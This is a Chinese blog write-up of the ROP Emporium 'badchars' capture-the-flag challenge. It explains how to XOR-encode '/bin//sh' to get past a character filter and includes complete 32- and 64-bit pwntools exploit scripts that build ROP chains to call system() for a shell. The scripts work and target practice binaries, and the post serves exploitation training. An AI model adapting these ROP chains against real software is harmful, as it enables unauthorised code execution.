前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ROP_emporium-2

ROP_emporium-2

作者头像
ly0n
发布2020-11-04 11:05:39
3710
发布2020-11-04 11:05:39
举报
文章被收录于专栏:ly0n

今天又是学习变pwn的一天

badchars32

检查程序

开启NX
开启NX

分析程序

我们首先运行一下程序,来看能得到什么信息

看到了badchars,我们在IDA里看下程序

pwnme函数
pwnme函数

通过checkbadchars函数我们可以发现对输入的字符串进行了过滤,使得我们无法直接写入”/bin/sh\x00” 这里可以对binsh进行异或加密输入,在调用xor gadget还原,这里用3异或

将数据写到bss段,我们可以通过readelf -S 文件名 来查看权限并查看地址

gadgets

接着就是找gadgets,我们要传入两次参数,然后在调用xor。

代码语言:javascript
复制
ROPgadget --binary ./badchars32 --only 'pop|mov|xor|ret'

system函数地址: 0x080484e0

exp

​ 写exp的思路就是在传入/bin//sh之前要将其进行异或加密,这里我用的是与3异或,至于为什么用3,可能当时写的时候刚好手指在按键3上面吧。32位一次只能传4个字节,所以要传入两次。传入之后在调用xor来进行解密,解密之后通过system函数调用。

exp:

代码语言:javascript
复制
#encoding:utf-8
from pwn import *

sh = process('./badchars32')

mov_edi_esi = 0x08048893
pop_edi_esi = 0x08048899
pop_ebx_ecx = 0x08048896
xor_ebx = 0x08048890

sys_addr = 0x080484E0
bss_addr = 0x0804a040

#加密
binsh = "/bin//sh"
xorbinsh = ''
for i in binsh:
    xorbinsh += chr(ord(i)^3)

#32位一次只能传入4个字符,所以要分两次传入
#第一次传入参数
payload  = 'a'*44
payload += p32(pop_edi_esi)
payload += xorbinsh[0:4]
payload += p32(bss_addr)
payload += p32(mov_edi_esi)

#第二次传入参数
payload += p32(pop_edi_esi)
payload += xorbinsh[4:8]
payload += p32(bss_addr+4)
payload += p32(mov_edi_esi)

#加密桡过了badchars,所以接下来就是解密,然后通过system函数调用
# 解密函数
for x in range(0,len(xorbinsh)):
    payload += p32(pop_ebx_ecx)
    payload += p32(bss_addr+int(x))
    payload += p32(3)
    payload += p32(xor_ebx)

#调用system执行传入参数
payload += p32(sys_addr)
payload += p32(0)
payload += p32(bss_addr)
#print(payload)

sh.sendline(payload)
sh.interactive()

badchars

​ 64位的程序可以一次传入,还是先找合适的gadgets

exp

exp构造思路和32位相同,不过64位可以一次传入

exp

代码语言:javascript
复制
#encoding:utf-8
from pwn import *

sh = process('./badchars')

pop_r12_r13 = 0x0000000000400b3b
mov_r12_r13 = 0x0000000000400b34
pop_r14_r15 = 0x0000000000400b40
xor_r14_r15 = 0x0000000000400b30
pop_rdi = 0x0000000000400b39
sys_addr = 0x04006F0
bss_addr = 0x0601080

#加密
binsh = "/bin//sh"
xorbinsh = ''
for i in binsh:
    xorbinsh += chr(ord(i)^3)

payload  = 'a' * 40
payload += p64(pop_r12_r13)
payload += xorbinsh
payload += p64(bss_addr)
payload += p64(mov_r12_r13)
#print payload
#解密
for x in range(0,len(xorbinsh)):
    payload += p64(pop_r14_r15)
    payload += p64(3)
    payload += p64(bss_addr+int(x))
    payload += p64(xor_r14_r15)

payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(sys_addr)


sh.sendline(payload)
sh.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-06-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • badchars32
    • 检查程序
      • 分析程序
        • gadgets
          • exp
          • badchars
            • exp
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档